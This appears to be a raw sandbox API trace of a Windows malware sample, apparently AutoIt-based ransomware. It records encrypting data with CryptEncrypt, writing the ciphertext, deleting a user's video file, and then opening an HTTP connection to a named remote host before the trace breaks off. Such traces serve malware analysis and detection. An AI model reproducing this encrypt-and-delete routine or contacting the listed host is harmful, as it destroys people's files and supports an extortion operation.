[0067.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.215] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.215] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.215] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.215] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.215] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.215] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.215] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.215] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.215] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.215] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.216] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.216] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.217] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.217] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.217] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x38eb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x38f0) returned 1 [0067.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.218] CharLowerBuffW (in: lpsz="byte[14577]", cchLength=0xb | out: lpsz="byte[14577]") returned 0xb [0067.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.218] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.218] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621af8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.219] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.219] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x187d010*, pdwDataLen=0x130e618*=0x38eb, dwBufLen=0x38f0 | out: pbData=0x187d010*, pdwDataLen=0x130e618*=0x38f0) returned 1 [0067.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.219] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.219] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.219] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.219] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.219] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.219] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.219] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.220] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.220] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x38f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x38f0, lpOverlapped=0x0) returned 1 [0067.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.221] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.221] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.221] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.222] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.222] CryptDestroyKey (hKey=0x164c630) returned 1 [0067.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.222] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.222] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.222] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.222] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.223] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.223] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.223] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.223] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.224] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.224] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.224] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.224] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.224] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.224] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.224] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.224] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.224] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.224] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.224] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.225] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.225] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0067.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.225] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.225] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.225] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.225] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.225] CloseHandle (hObject=0x3bc) returned 1 [0067.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.226] CloseHandle (hObject=0x2ac) returned 1 [0067.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.231] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.231] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", lpFilePart=0x0) returned 0x46 [0067.231] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\t9zy39_ipdmytray.flv")) returned 0x20 [0067.232] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0067.232] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\t9zy39_ipdmytray.flv")) returned 1 [0067.234] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.234] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0067.235] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.235] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0067.235] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.235] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.235] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.235] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.235] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.235] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c) returned 1 [0067.235] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.235] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.236] HttpSendRequestW (in: 